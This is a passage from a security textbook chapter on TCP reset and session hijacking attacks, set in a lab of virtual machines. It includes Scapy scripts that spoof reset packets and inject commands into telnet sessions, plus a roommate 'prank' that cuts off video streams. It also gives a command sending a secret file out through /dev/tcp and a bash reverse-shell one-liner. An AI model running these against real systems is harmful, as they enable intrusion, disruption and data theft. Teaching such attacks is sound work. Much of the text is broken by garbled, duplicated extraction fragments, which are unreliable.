col
poofed source IP addrpoofed so
packet from the servercket from the s
st, it knows that somest, it knows that s
et, basically telling thet, basically telli
for the TCP protocol.r the TCP proto
16.3. TCP RESET ATTACK 343
(a) Attack diagram
(b) Attack packet
Figure 16.5: TCP Reset Attack
we put the attacker and the victim on the same network, so the attacker can sniff the network
traffic to learn the correct sequence number.
16.3.4 TCP Reset Attack on Telnet connections
Let us first attack a Telnet connection. In our setup, we telnet from User (10.0.2.68)
to Server (10.0.2.69). Our goal (as the attacker) is to break up this connection using the
TCP RST attack. Before launching the attack, we need to figure out the essential parameters
needed for constructing the spoofed TCP RST packet. We run Wireshark on the attacker
machine, looking for the most recent TCP packet sent from Server (10.0.2.69) to User
(10.0.2.68). The results are shown in the following.
� Internet Protocol Version 4, Src: 10.0.2.69, Dst: 10.0.2.68
� Transmission Control Protocol, Src Port: 23, Dst Port: 45634 …
Source Port: 23
Destination Port: 45634
S
am
pl
ee eeeee eeeee (b)
Figure 1F
cker and the victim onand the victim o
the correct sequencecorrect sequence
TCP Reset AttackReset Att
st attack ak a TelnetTeln c
er (10.0.2.6910.0.2.69). O
ST attack. Before launttack. Before
d for constructing theconstructin
hine, looking for the mine, looking for th
.0.2.68.0.2.68). The resul). ThSInternet ProtSansmissionSe P
pt
ererreete
ree
Attack diagramdiagram
C
ha
paaphahahaha
C
h
C
ha
pp
C
h
C
h
C
h
C
h
CCCCC
344 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
[TCP Segment Len: 24] �Data length
Sequence number: 2737422009 �Sequence #
[Next sequence number: 2737422033] �Next sequence #
Acknowledgment number: 718532383
Header Length: 32 bytes
Flags: 0x018 (PSH, ACK)
We can see that the source port number of the packet is 23 and the destination port number
is 45634. Most importantly, we get the next sequence number (2737422033). This number
is calculated by Wireshark; it is the sum of the data length (24) and the sequence number
(2737422009). It should be noted that Wireshark by default calculates and displays the relative
sequence number (starting from zero), which is not what we need. We need the actual se-
quence number. To show that, right-click the Sequence number field, move the mouse over
Protocol Preference in the pop-up menu, and then uncheck Relative sequence
numbers (in the provided Ubuntu16.04 VM, we have already made the change).
With the above information collected from Wireshark, we are ready to generate a spoofed
RST packet. We can write our own program (e.g. using raw socket), or use an existing tool from
the Netwox toolbox (the tool number is 40). Here, we would like to write a Python program to
spoof TCP RST packets.
Listing 16.5: TCP reset attack (reset.py)
#!/usr/bin/python3
import sys
from scapy.all import *
print(“SENDING RESET PACKET………”)
IPLayer = IP(src=”10.0.2.69″, dst=”10.0.2.68″)
TCPLayer = TCP(sport=23, dport=45634,flags=”R”, seq=2737422033)
pkt = IPLayer/TCPLayer
ls(pkt)
send(pkt, verbose=0)
If the attack is successful, when we type anything in the telnet terminal, we will imme-
diately see a message “Connection closed by foreign host”, indicating that the connection is
broken.
Notes about the sequence number. It should be noted that the success of the attack is very
sensitive to the sequence number. The number that we put in the spoofed packet should be
exactly the number that the server is waiting for. If the number is too small, it will not work.
If the number is large, according to RFC 793 [Postel, 1981], it should be valid as long as it is
within the receiver’s window size, but our experiment cannot confirm that. When we use a larger
number, there is no effect on the connection, i.e., it seems that the RST packet is discarded by
the receiver.
16.3.5 TCP Reset Attack on SSH connections
We also want to try the same attack on encrypted TCP connections to see whether it works or
not. If encryption is done at the network layer, the entire TCP packet, including its header, will
be encrypted; the attack will not be able to succeed, because encryption makes it impossible for
S
am
pl
ee 0.2.68″)eflags=”R”,leleplype anything in theanything in tesed by foreign host”,by foreign ho
It should be notedshoul
The number that wenumber tha
r is waiting for. If thewaiting
g to RFC 793 [Postel,C 793 [Po
e, but our experiment ct our experim
he connection, i.e., it snnection, i.e
Attack on SSH conttack on SSH
ame attack on encrype attack on enc
etwork layerwork
o su
C
ha
pt
errerer# eetehe destination port nustination por2737422033). This nu422033).
4) and the sequence nd the seque
ulates and displays thes and display
need. We need the. We need the
mberr field, move the mfield, move the m
ncheckck Relativeelativ
already made the chanmade the c
we are ready to generare ready to g
w socket), or use an exiw socket), or use a
would like to write a Pyould like t
ck (k (reset.pypy))CCC
16.3. TCP RESET ATTACK 345
attackers to sniff or spoof the packet. SSH conducts encryption at the Transport layer, which
is above the network layer, i.e., only the data in TCP packets are encrypted, not the header.
Therefore, the TCP Reset attack should still be successful, because the attack only needs to
spoof the header part, and no data is needed for the RST packet.
To set up the attack, we connect from the client to the server using ssh, instead of telnet.
Our attack method is exactly the same as the one on the telnet connection; we only need to
change the port number 23 (for telnet) to 22 (for ssh). We will not repeat the process here.
If the attack is successful, we should be able to see something similar to the following:
seed@User(10.0.2.68):$ ssh 10.0.2.69
.2.69’s password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)
…..
seed@Server(10.0.2.69):$ Write failed: Broken pipe �Succeeded!
seed@ubuntu(10.0.2.68):$
16.3.6 TCP Reset Attack on Video-Streaming Connections
Let’s have some more fun. Here is an April Fools’ prank that you can play on your roommates (or
siblings), if they are watching videos from the Internet. Most of the video streaming sites, such
as YouTube and Netflix, use TCP. You can send a TCP RST packet to your roommates’ machines,
and break their TCP connections with the video hosting server. You can then tell them to do
some silly stuff to “fix” the problem, such as hitting the Wi-Fi router three times every time the
video freezes.
In theory, this is quite similar to the attack on the telnet connection, but there is a unique
challenge for resetting video-streaming connections. The challenge is the sequence number.
In our attack against the telnet connection, we sniff the packet, get the sequence number,
and then type it in our command. While doing this manually, we will not type anything in the
telnet terminal, or that will increase the sequence number, causing the one that we get from
Wireshark invalid. In video-streaming connections, we have no way to stop the packets between
the client and the server, so the sequence number increases very fast, making manual efforts
very difficult, if possible at all.
We have to automate our attack, so instead of using the manual sniff-and-type approach, we
want to do it automatically, i.e., we would like to run a program that sniffs the video-streaming
packets, gets the sequence numbers and the other essential paramenters, and then automatically
sends out spoofed TCP RST packets. This is called sniff-and-spoof. We will use Scapy to write
this program. Assuming that we are watching YouTube video from machine 10.0.2.68.
Listing 16.6: Automatically reset TCP connections (reset auto.py)
#!/usr/bin/python3
from scapy.all import *
def spoof_tcp(pkt):
IPLayer = IP(dst=”10.0.2.68″, src=pkt[IP].dst)
TCPLayer = TCP(flags=”R”, seq=pkt[TCP].ack,
dport=pkt[TCP].sport, sport=pkt[TCP].dport)
spoofpkt = IPLayer/TCPLayer
send(spoofpkt, verbose=0)
pkt=sniff(filter=’tcp and src host 10.0.2.68’, prn=spoof_tcp)
am
pl
e
e similar to
video-streaming cono-streamin
he telnetelnet connectioonn
r command. While domand. Whil
r that will increase thethat will increas
n video-streaming con-streamin
server, so the sequencer, so the seq
ossible at all.ble
automate our attack, somate our attac
utomatically, i.e., we watically, i.e., we w
he sequence numbersequence numbers
oofed TCP RST packeTCP RST p
m. Assuming that we assuming that
Listing 16.6: Automng 16.6: A
amn/python3ay.all imp
S
a_tcp(pkt
S
aPLayer = IP(
S
aTCPLayer =SSspoofpkt = ISend(spoofpS
C
ha
pt
er
ts encryption at thecryp
TCP packets are encrackets are
successful, because tessful, becau
the RST packet.RST packet.
ient to the server usingthe server u
one on thene on the telnetteln c
22 (for(for sshssh). We wil). We
e to see something simee somethinp69 papU/Linux 4.8.apafailed: Brhak on Video-Streamon Videis an April Fools’ pranis an April Fools’
videos from the Internvideos from the
CP. You can send a TCCP. You can send
tions with the video hons with the vid
lem, such as hittiem, such as
346 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
To set up the experiment, we will watch a YouTube video from the user machine (we can
use either a VM or our own host machine). We then run the above attack program. This Python
program sends out an RST packet for each packet that comes from 10.0.2.68; the spoofed
packet will go to 10.0.2.68, basically resetting all of its connection, including the one with
the video streaming server. The command will run continuously until we stop it. It should be
noted that although we can send RST packets to either the victim machine or the server, we
suggest that you only do that to your own machine. If you keep sending RST packets to the
server, even though you are not harming anybody but yourself, your behavior is suspicious and
may trigger some punitive actions being taken against you from the server.
If the attack is successful, we may not be able to see the effect immediately, because most of
the video players have buffers. Just wait for the player to finish playing the video in the buffer,
and you will see something similar to what is shown in Figure 16.6.
Figure 16.6: TCP Reset attack on video streaming
Notes. Several of my students reported that Python code was too slow to reset their video
streaming connections. This is because the TCP reset attack needs to use the correct sequence
number. When there are a lot of traffics, if the attack program does not send out the spoofed
reset packet in time, the sequence number it chooses to use may have already been consumed by
other packets, so the reset packet will be discarded by the receiver.
To solve this problem, we can send out spoofed TCP reset packets using a C program, which
is much faster than Python programs (see Chapter 15). We can use an existing tool written in C.
Netwox tool 78 is such a tool; it can automatically reset any TCP connection. The usage of the
tool is listed in the following.
Listing 16.7: The usage of netwox tool 78
Title: Reset every TCP packets
Usage: netwox 78 [-d device] [-f filter] [-s spoofip] [-i ips]
Parameters:
-d|–device device device name {Eth0}
S
am
pl
e
Reset attack on video sattack on v
rted that Python codethat Python code
use the TCP reset attace TCP reset
affics, if the attack pros, if the att
umber it chooses to user it chooses
will be discarded by tbe discard
n send out spoofed TCPd out spoofed
rams (see Chapter 15)s (see Chapte
; it can automatically rn automatic
Listing 16.7: The usagListing 16.7: TheSTCP packetsS[-d deviceS
ap
te
rer machine (we canachinprogram. This Pythonm. This Py0.2.68.68; the spoofed; the spo
including the one wituding the on
l we stop it. It shouldtop it. It sho
machine or the server,achine or the se
ending RST packets tong RST pack
r behavior is suspiciouavior is susp
he server.rver.
immediately, becausemediately, bec
playing the video in tg the video
16.6.6.
16.4. TCP SESSION HIJACKING ATTACK 347
-f|–filter filter pcap filter
-s|–spoofip spoofip IP spoof initialzation type
{linkbraw}
-i|–ips ips limit the list of IP addressed to
reset {all}
The following netwox command sends out an RST packet for each packet that comes from
10.0.2.68.
$ sudo netwox 78 –filter “src host 10.0.2.68”
16.4 TCP Session Hijacking Attack
Client Server
Attacker
same header fields
• Source IP
• Source Port
• Destination IP
• Destination Port
x+1 x +
Injected data Data already arrived
Data not arrived yet
(a) Injecting data into a TCP connection
(b) Receiver’s TCP buffer and sequence numbers
Figure 16.7: TCP Session Hijacking Attack
When a connection is established between two hosts, the connection is supposed to be used
only by these two hosts. If an attacker can inject his/her own data into this connection, the
connection can essentially be hijacked by the attacker, and its integrity will be compromised. In
this section, we discuss how such an attack works.
16.4.1 TCP Session and Session Hijacking
Once a TCP client and server finish the three-way handshake protocol, a connection is estab-
lished, and we call it a TCP session. From then on, both ends can send data to each other. Since
a computer can have multiple concurrent TCP sessions with other computers, when it receives a
packet, it needs to know which TCP session the packet belongs to. TCP uses four elements to
make that decision, i.e., to uniquely identify a session: (1) source IP address, (2) destination IP
address, (3) source port number, and (4) destination port number. We call these four fields the
signature of a TCP session.
S
am
plpl
e eeeeady arrived ele(b) Rece
Figure 16.7:Figure 1
onnection is establishection is establishe
e two hosts. If an atto host
can essentially be hijacssentially be
n, we discuss how sucdiscu
TCP Session anTCP Sessio
a TCP client and servclient and
d, and we call it a TCPd, and we call it a
omputer can have multmputer can have
cket, it needs to knowket, it needs to k
ake that decision, i.e.,e that decision,
3) source posourc
P se
C
ha
pt
err
er
er
nitialza
erehe list oeut an RST packet for et an RST packe
phost 10.0
cking Attackng Attack
C
hahh
CerC
h
C
h
C
hh
C
ha
C) Injecting data in
348 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
As we have already learned, spoofing packets is not difficult. What if we spoof a TCP packet,
whose signature matches that of an existing TCP session on the target machine? Will this packet
be accepted by the target? Clearly, if the above four elements match with the signature of the
session, the receiver cannot tell whether the packet comes from the real sender or an attacker, so
it considers the packet as belonging to the session. Figure 16.7(a) illustrates how an attacker can
inject packets into the session between a client and a server.
However, for the packet to be accepted, one more critical condition needs to be satisfied. It
is the TCP sequence number. TCP is a connection-oriented protocol and treats data as a stream,
so each octet in the TCP session has a unique sequence number, identifying its position in the
stream. The TCP header contains a 32-bit sequence number field, which contains the sequence
number of the first octet in the payload. When the receiver gets a TCP packet, it places the TCP
data (payload) in a buffer; where exactly the payload is placed inside the buffer depends on the
sequence number. This way, even if TCP packets arrive out of order, TCP can always place their
data in the buffer using the correct order.
When a TCP packet is spoofed, the sequence number field of the TCP header needs to be set
appropriately. Let us look at Figure 16.7(b). In the figure, the receiver has already received some
data up to the sequence number x, so the next sequence number is x+ 1. If the spoofed packet
does not set x+ 1 as its sequence number, and instead uses x+ δ, this becomes an out-of-order
packet. The data in this packet will be stored in the receiver’s buffer (as long as the buffer has
enough space), but not at the beginning of the free space (i.e. x+ 1); it will be stored at position
x+ δ, leaving δ spaces in the buffer. The spoofed data will stay in the buffer, not delivered to
the application (so having no effect), until the missing space is filled by future TCP packets. If δ
is too large, it may fall out of the buffer boundary, and the spoofed packet will be discarded.
In summary, if we can get the signature and sequence number correct in our spoofed packets,
we can get the targeted receiver to accept our TCP data, as if they come from the legitimate
sender. Essentially, we have gained the control of the session between the sender and receiver.
If the receiver is a Telnet server, the data from the sender to the receiver will be commands,
so if we can control the session, we can get the Telnet server to run our malicious commands.
That is why such an attack is called TCP session hijacking.
16.4.2 Launching TCP Session Hijacking Attack
To see a TCP session hijacking attack in action, we will launch it in our VM environment. We set
up 3 VMS: User (10.0.2.68), Server (10.0.2.69), and Attacker (10.0.2.70).
A user (the victim) first establishes a telnet connection from User to Server, and the
attacker would like to hijack this connection, and run an arbitrary command on Server, using
the victim’s privilege. For demonstration purposes, we will simply let the attacker steal the
content of a file from the server.
To launch a successful TCP session hijacking attack, the attacker needs to know the sequence
numbers of the targeted TCP connection, as well as the other essential parameters, including
source/destination port numbers and source/destination IP addresses. Since the 32-bit sequence
number is randomly generated, it is hard to guess that within a short period of time. For the sake
of simplicity, we assume that the attacker is on the same LAN as either User or Server. In
our setup, all three VMs are on the same LAN. Therefore, the attacker can run Wireshark on
Attacker to find out all the essential data about the targeted connection. We need to find the
most recent telnet packet from User to Server. See the following results.S
am
pl
e
q
TCP data, a
of the session betwehe session
om the sender to the rhe sender to
e Telnetnet server to ruserver
ssion hijackingsion hijacking.
Hijacking Attackjacking A
action, we will launchn, we will lau
rver ((10.0.2.69.0.2.69)
a telnetlnet connectionconnectio
nnection, and run an arion, and run a
stration purposes, weon purposes
ession hijacking attack,ijacking a
onnection, as well as tction, as wel
s and source/destinatiod source/desti
d, it is hard to guess thahard to gues
at the attacker is on thet the attacker is o
e on the same LAN. Te on the same L
the essential data abouhe essential data
ket fromet from Userr toto Se
C
ha
pt
er
spoof a TCP packet,of a T
hine? Will this packetWill this pa
th the signature of thee signature o
sender or an attacker, ser or an attac
rates how an attacker cow an attack
ion needs to be satisfieneeds to be sa
l and treats data as a streats data a
dentifying its positionifying its po
, which contains the sich contains
a TCP packet, it placespacket, it pla
inside the buffer depede the buffer depe
order, TCP can alwaysr, TCP can al
ld of the TCP header nhe TCP head
he receiver has alreadyceiver has alr
umber isumber i x+ 1. If theI
ses x++ δδ, this become, this b
ceiver’s buffer (as longeiver’s buffer (as
ce (i.e.ce (i x+ 11); it will b); it
ata will stay in the bufta will stay in th
g space is filled by futspace is filled by
he spoofed packee spoofed
correct
16.4. TCP SESSION HIJACKING ATTACK 349
� Internet Protocol Version 4, Src: 10.0.2.68, Dst: 10.0.2.69
� Transmission Control Protocol, Src Port: 46712, Dst Port: 23 …
Source Port: 46712 �Source port
Destination Port: 23 �Destination port
[TCP Segment Len: 0] �Data length
Sequence number: 956606610 �Sequence number
Acknowledgment number: 3791760010 �Acknowledgment number
Header Length: 32 bytes
Flags: 0x010 (ACK)
The above captured packet is the last data packet sent from User to Server. We need to
find out the sequence number in the next packet from User to Server. This number is the
sum of the data length and the sequence number in the capture packet. If the data length is not 0,
Wireshark will calculate this “next sequence number” for us, just like what we have seen in the
TCP Reset attack experiment. In this captured packet, the data length is 0, i.e., the packet itself
does not consume any sequence number, so these two numbers are the same, and Wireshark
will only display the first number. From the figure, the number for our attack packet should be
956606610. From the sniffed packet, we also get the source port number (46712) and the
destination port number is fixed (23), which is the port number used by Telnet.
Now, let us construct the TCP payload, which should be the actual command that we would
like to run on the server machine. There is a top-secret file in the user’s account on Server;
the name of the file is secret. We can print out the content using the cat command, but
the printout will be displayed on the server machine, not on the attacker machine. We need to
redirect the printout to the attacker machine. To achieve that goal, we run a TCP server program
on the attacker machine, so once our command is successfully executed on Server, we can let
the command send its printout to this TCP server.
We use the nc (or netcat) utility in Linux to do our task. This utility can do many things,
but we simply let it wait for a connection, and print out whatever comes from that connection.
We run the nc command to set up a TCP server listening on port 9090.
// Run the following command on the Attacker machine first.
seed@Attacker(10.0.2.70):$ nc -lv 9090
// Then, run the following command on the Server machine.
seed@Server(10.0.2.69):$ cat /home/seed/secret >
/dev/tcp/10.0.2.70/9090
The cat command above prints out the content of the secret file, but instead of printing it
out locally, the command redirects the output to a file called /dev/tcp/10.0.2.70/9090.
This is not a real file; it is built-in virtual file implemented in the Bash shell: if we redirect
input/output to /dev/tcp/host/nnn at a Bash command line, Bash will first make a TCP
connection to the machine host’s port number nnn (host can be an IP address or a hostname),
and it will then redirect the command’s input/output to this TCP connection. The device file
/dev/tcp, as well as /dev/udp, are not real devices; they are keywords interpreted by the
Bash shell. Other shells do not recognize these keywords.
As soon as we run the above cat command, the listening server on the attacker machine
will get the content of the file. The result is shown in the following.
seed@Attacker(10.0.2.70):˜$ nc -lv 9090
Connection from 10.0.2.69 port 9090 [tcp/*] accepted
SS
am
pl
e
o onc
intout to this Tt to thi
etcatat) utility inutility i Lin
ait for a connection, ar a connectio
mand to set up a TCP sand to set up a TC
pl
g comman
p0.2.70)pe followin
m
p0.2.69):$ ca
m
p
t command above prinmmand abov
the command redirectcommand red
ot a real file; it is buileal file; it i
tput too /dev/tcp/h/dev/tc
ion to the machineo the machine ho
will then redirect thehen redirect
/tcpp, as well asas well as /de
h shell. Other shells doh shell. Other s
As soon as we run thAs soon as we r
ll get the content of thget the contentScke
C
ha
pt
err
2.6
er
46712,
er�SourceeDeste�Datate�Sequte10 cptptdata packet sent frompacket sent fxt packet fromt from UserUsee number in the capturember in the capture
quence number” for use number” fo
captured packet, the dred packet,
umber, so these two nur, so these tw
From the figure, the nm the figure,
packet, we also get theacket, w
(23), which is the por), which is th
CP payload, which shoCP payload, which
hine. There is a top-seine. There is a t
ett. We can print ou. We can prin
d on the server machn the server m
machine. To ahi
nd i
350 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
********************
This is top secret!
********************
What we just did was to run the command directly on Server. Obviously, attackers do
not have access to Server yet, but using the TCP session hijacking attack, they can get the
same command into an existing telnet session, and therefore get Server to execute the
command. We wrote the following Python program to hijack the session.
Listing 16.8: TCP Session Hijacking attack (sessionhijack.py)
#!/usr/bin/python3
import sys
from scapy.all import *
print(“SENDING SESSION HIJACKING PACKET………”)
IPLayer = IP(src=”10.0.2.68″, dst=”10.0.2.69″)
TCPLayer = TCP(sport=46716, dport=23, flags=”A”,
seq=956606610, ack=3791760010)
Data = “\r cat /home/seed/secret > /dev/tcp/10.0.2.70/9090\r”
pkt = IPLayer/TCPLayer/Data
ls(pkt)
send(pkt,verbose=0)
It should be noted that in the spoofed packet, we need to set the ACK bit to 1, while putting
the correct acknowledgment number in the TCP header. The ACK number can also be obtained
from the captured packet. Before running the attack program, the attacker should run the “nc
-lv 9090″ command first on his/her machine to wait for the secret. If the attack is successful,
the nc command will print out the content of the secret file. If it does not work, a common
mistake is the incorrect sequence number.
Not using the exact sequence number. Sometimes, it may be difficult to get the exact
sequence number in an attack, especially if the victim is still typing in the client terminal. In
this case, we can make an estimate; for example, if we see an sequence number N for now, we
can use N + 100 in the attack. As long as the data is within the server’s receive window, our
spoofed data will be placed in the receiver’s buffer. However, the command in the data will not
be executed, because there are still missing data in the buffer. As the victim keeps typing in the
client terminal, the missing data will soon be complete, and our command will be executed. We
need to put a \r (newline) value at the beginning of the data, otherwise, our command may be
concatenated with the strings typed by the victim, changing the meaning of the command. For
instance, if the sequence number that we use is N + 100, but the two characters typed by the
victim starting at N + 98 is ls, the server will run this command lscat command, which
will fail, because lscat is not a valid command. If we put a “new line” character (\r) before
cat, we will be able to avoid this problem.
In our experiment, we intentionally use a slightly large sequence number. After we send out
the spoofed packet, our TCP server does not get the secret immediately. We go to the telnet
program on the client machine, and type a few commands. As soon as we reach the sequence
number used in the attack packet, our nc program will immediately print out the secret received,
indicating the success of the attack. Basically, our attack can succeed even if the user is still
using the telnet program.
ack prog
to wait for the secait for the
f the secret file. If it dsecret file.
Sometimes, it maymetimes, it
y if the victim is still the victim is
example, if we see anmple, if we se
ng as the data is withinthe data is w
iver’s buffer. Howeves buffer. Howeve
issing data in the buffeg data in the
soon be complete, ann be com
the beginning of the dbeginning of
ed by the victim, chanthe vict
r that we use iswe use is N + 1N
s, the server will runhe server wil
t a valid command. Ifalid comman
d this problem.roblem.
tentionally use a slighttentionally use a s
P server does not get tP server does no
chine, and type a fewhine, and type a
packet, ourcket, our ncnc prograpr
ck. Basicallk Ba
C
ha
pt
errererObviously, attackers dously, attackg attack, they can getattack, they canet ServerServer to executeex
ssion.
onhijack.pyijack.py))
apapaha
)
hah”, h10)
C
h.0.2.70/
C
h
CCeed to set the ACKd to set the ACK numb
16.4. TCP SESSION HIJACKING ATTACK 351
16.4.3 What Happens to the Hijacked TCP Connection
After a successful attack, let us go to the user machine, and type something in the telnet
terminal. We will find out that the program does not respond to our typing any more; it freezes.
When we look at the Wireshark (Figure 16.8), we see that there are many retransmission packets
between User (10.0.2.68) and Server (10.0.2.69).
Figure 16.8: TCP retransmissions caused by the session hijacking attack
The injected data by the attacker messes up the sequence number from User to Server.
When Server replies to our spoofed packet, it acknowledges the sequence number (plus the
payload size) created by us, but User has not reached that number yet, so it simply discards
the reply packet from Server and will not acknowledge receiving the packet. Without being
acknowledged, Server thinks that its packet is lost, so it keeps retransmitting the packet,
which keeps getting dropped by User.
On the other end, when we type something in the telnet program on User, the sequence
number used by the client has already been used by our attack packet, so the server will ignore
these data, treating them as duplicate data. Without getting any acknowledgment, the client will
keep resending the data. Basically, the client and the server will enter a deadlock, and keep
resending their data to each other and dropping the data from the other side. After a while, TCP
will disconnect the connection. Figure 16.9 illustrates why the client freezes.
As shown in Figure 16.9, assume that the current sequence number from User to Server
is x, and the other direction is y. Now the attacker sends a spoofed packet to the server with
a sequence number x, which leads to the success of attack. After that, Server sends the
response to the real client, and at the same time sets the ACK field to x + 8 to notify the
real client that it has received the packet. When the client receives the response packet, it gets
confused, because it has not sent any data beyond x yet, how can the server acknowledge x +
8? Something must be wrong. Therefore, the client ignores this response packet, and never
acknowledges it, causing the server to keep resending the same packet.
16.4.4 Causing More Damage
Using the session hijacking attack, the attacker can run an arbitrary command on the server,
using the victim’s privilege. In our example, we steal a secret file using the attack. Obviously,
we can also remove any of the victim’s file using the rm command. An interesting question is
whether a more severe damage can be achieved. If we can find a way to give the attacker access
to the shell on the server, the attacker can then run any command that he/she likes.
In the old days, when the .rhosts file was used, all we needed to do was to run “echo
++ > .rhosts”, which places “++” in the .rhosts file, allowing anybody to connect to
S
am
pl
e
ped by
en we type some type
ent has already been uas already b
m as duplicate data. Wduplicate da
ata. Basically, the cliata. Basically, th
to each other and dropeach other a
connection. Figure 16nection. Figu
Figure 16.9, assume thae 16.9, assu
er direction isrecti yy. Now.
mber x, which leads t, which lea
e real client, and at thal client, and at th
at it has received the pas received t
ecause it has not sent ase it has n
ing must be wrong. Tmust be wron
dges it, causing the sert, causing
Causing MoreCausing Mo
the session hijackingession hijac
g the victim’s privilegg the victim’s priv
can also remove any ocan also remove
hether a more severe dather a more seve
the shell on the servee shell on the s
old days, whd day
w
C
ha
pt
er
TCP ConnectionP Co
machine, and type somne, and type
not respond to our typrespond to o
e see that there are mathat there ar
10.0.2.690.2.69).).
ansmissions caused bynsmission
tacker messes up the stacker messes
spoofed packet, it ackspoofed packet,
butut UserU has not reano
er and will not acknand will not a
t its packett it
352 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
Figure 16.9: Why the connection freezes
the user’s account on the server without typing passwords. The .rhosts file lists hosts and
users that are trusted by the local host when a connection is made using the rshd (remote shell
server) service. Unfortunately, this does not work for rshd anymore.
We can download the source code of the rshd program, remove its authentication part,
compile it, and place it in some web server. In our session hijacking attack, we can put
two commands (seperated by a semicolon) in the spoofed packet: the first one uses wget to
download the modified rshd program, and the second one runs the rshd program. After that,
we can open another terminal on the attacker’s machine, and directly rsh to the server. This
will give us a shell access to the victim’s account on the server machine.
The above methods are too cumbersome. An easier and more generic approach adopted by
most attackers is to run a reverse shell. We will discuss its details next.
16.4.5 Creating Reverse Shell
Using the session hijacking attack, instead of running cat, we can run a shell program such as
/bin/bash on Server. The shell program will run, but attackers do not have a control over
the shell: they cannot type commands, nor can they see the output of the shell. This is because
when the shell runs on Server, it uses the input and output devices locally on Server. In
order to control the shell, attackers must get the shell program to use the input/output devices
that can be controlled by them. An idea is to use a TCP pseudo device for both input and output
of the shell. Using such a pseudo device, the shell program uses one end of a TCP connection
for its input/output, and the other end of the connection is controlled by the attacker machine.
Such a shell is called reverse shell. Reverse shell is a shell process running on a remote
machine, connecting back to the attacker’s machine. This gives the attacker a convenient way
to access a remote machine once it has been compromised. Reverse shell is a very common
technique used in hacking. A much more comprehensive discussion of this technique is provided
in Chapter 9. Here we will only provide a brief introduction of this technique.
S
am
pl
e
k fo
shd programg
In our session hijaour sessio
n the spoofed packet:spoofed pac
he second one runs thehe second one run
er’s machine, and direer’s machine, an
ccount on the server mn the serv
me. An easier and moAn easier a
We will discuss its detall discuss it
ell
nstead of runningad of run cat
ell program will run, bogram will ru
ands, nor can they seenor can
, it uses the input andses the inpu
kers must get the shellmust get the
An idea is to use a TCdea is to use
eudo device, the shellevice, the sh
other end of the conneother end of the c
everse shelleverse shell. Reverse. Re
k to the attacker’s macto the attacker’s
ne once it has been conce it has be
h more compmore
br
C
ha
pt
er
ppt
e
pt
ettepptt
hahahahahhection freezesection freezes
swords. Theords. The .rhost.rh
is made using tis made us
ore.
16.4. TCP SESSION HIJACKING ATTACK 353
The standard output device. In our session hijacking attack, we have already shown how to
use bash’s TCP virtual file to redirect the output of the cat command to a TCP server on another
machine. For the reverse shell, we need to do the same like the following, which essentially
uses the /dev/tcp virtual file as the standard output device for the bash program.
/bin/bash -i > /dev/tcp/10.0.2.70/9090
The standard error device. The above command is not enough. The bash program uses
both standard output and standard error device for output, so we also need to redirect the
standard error device to the TCP virtual file. This is achieved by appending 2>&1 to the end
of the command. In Unix systems, standard input, output, and error devices are identified by
file descriptor numbers 0, 1, and 2, respectively. By specifying 2>&1, we are redirecting the
standard error device (file descriptor 2) to file descriptor 1, basically forcing the program to also
use the standard output device for printing out error messages. Since the standard output device
is already redirected to the TCP pseudo device, all the error messages printed out by bash will
be sent to the TCP connection as well. The updated command is shown below.
/bin/bash -i > /dev/tcp/10.0.2.70/9090 2>&1
We can experiment with the above command by typing the command on the server machine,
after starting “nc -lv 9090” on the attacker machine (10.0.2.70). Once the shell
program starts running, we can type in the shell program, but nothing shows up. This is because
all the output has been redirected. If we go to the Attacker machine, we will see that whatever is
printed out by the bash program shows up there, including the shell prompt, the commands
typed by us, and the execution result of the commands.
The standard input device. We are getting closer, but if we try to type anything at the shell
prompt on Attacker, we do not get anything back. We are missing one more thing for the
shell, the input. At this point, the shell program on Server still gets its input from the local
input devices; that is why we can type commands on Server. We need to get the shell program
to use the TCP connection for its input device. We can achieve that by appending 0<&1 at the
end of the command. This means using the device represented by the file descriptor 1 as the
input device (file descriptor 0). Since file descriptor 1, which represents the standard output
device, is already set to the TCP connection, the same connection will now be used as the input
device as well. The updated command is shown below.
/bin/bash -i > /dev/tcp/10.0.2.70/9090 2>&1 0<&1
If we run the above command on Server, we will get a reverse shell on the attacker
machine. The nc command will send whatever we type on the Attacker machine to the remote
shell program on Server, and relay back whatever is printed out by the remote shell program.
Essentially, we have a full control of the remote shell program. In our experiment, we directly
run the reverse shell command on the server; in attacks, we need to inject the command via the
TCP session hijacking attack. We use the following line to replace the corresponding line in
Listing 16.8:
Data = "\r /bin/bash -i > /dev/tcp/10.0.2.70/9090 2>&1 0<&1 \r"SSS
am
pl
e
p
ution resu
evice.e. We are gettinWe are g
r, we do not get anytdo not get
his point, the shell prhis point, the sh
s why we can type comcan type
nnection for its input dtion for its
and. This means usinThis means
e descriptorcriptor 00). Since). S
dy set to the TCP connet to the TCP con
l. The updated commae updated co
m> /dev/trun the above commhe abovThe ncnc command wicomman
ogram onm on ServerServe , an
ially, we have a full cowe have a f
e reverse shell commase shell com
session hijacking attasession hijackin
ting 16.8:ing 16.8: Sa = “\r /bin
C
ha
pt
er
cking attack, we haveg attac
the cat command to acomman
he same like the followme like the f
output device for theut device for b
te9090command is not enoumand is n
device for output, soce for outp
file. This is achievedThis is achie
ndard input, output, and input, output, a
spectively. By specifytively. By specify
) to file descriptorle descripto 1, b
inting out error messagout error me
udo device, all the errdevice, all th
well. The updated comwell. The updated
C
h2.70/90
e above command by te above comman
90″90 on the attackertta
an type in the shell protype in the shel
d. If we go to theIf we go to
s up the
354 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
If the attack is successful, the “nc -lv 9090” command executed on the attacker’s
machine will receive a connection request from Server. Once the connection is established,
the attacker will have the control on the shell program running on Server.
seed@Attacker(10.0.2.70)$ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.69] port 9090 [tcp/*] accepted …
seed@Server(10.0.2.69)$ �Got a reverse shell!
16.5 Summary
The TCP protocol provides a reliable and ordered communication channel for applications. To
use TCP, two peers need to establish a TCP connection between themselves. The TCP protocol
was not designed with any built-in security mechanism to protect the connection and the data
transmitted inside the connection. Therefore, TCP connections are subject to many attacks. In
this chapter, we focused on three classical attacks on TCP: TCP SYN flooding attack, TCP Reset
attack, and TCP session hijacking attack. The first two are Denial-of-Service (DoS) attacks,
while the third one allows attackers to inject spoofed data into an existing TCP connection
between two target peers.
While TCP session hijacking attacks can be mitigated using encryption, the other two attacks
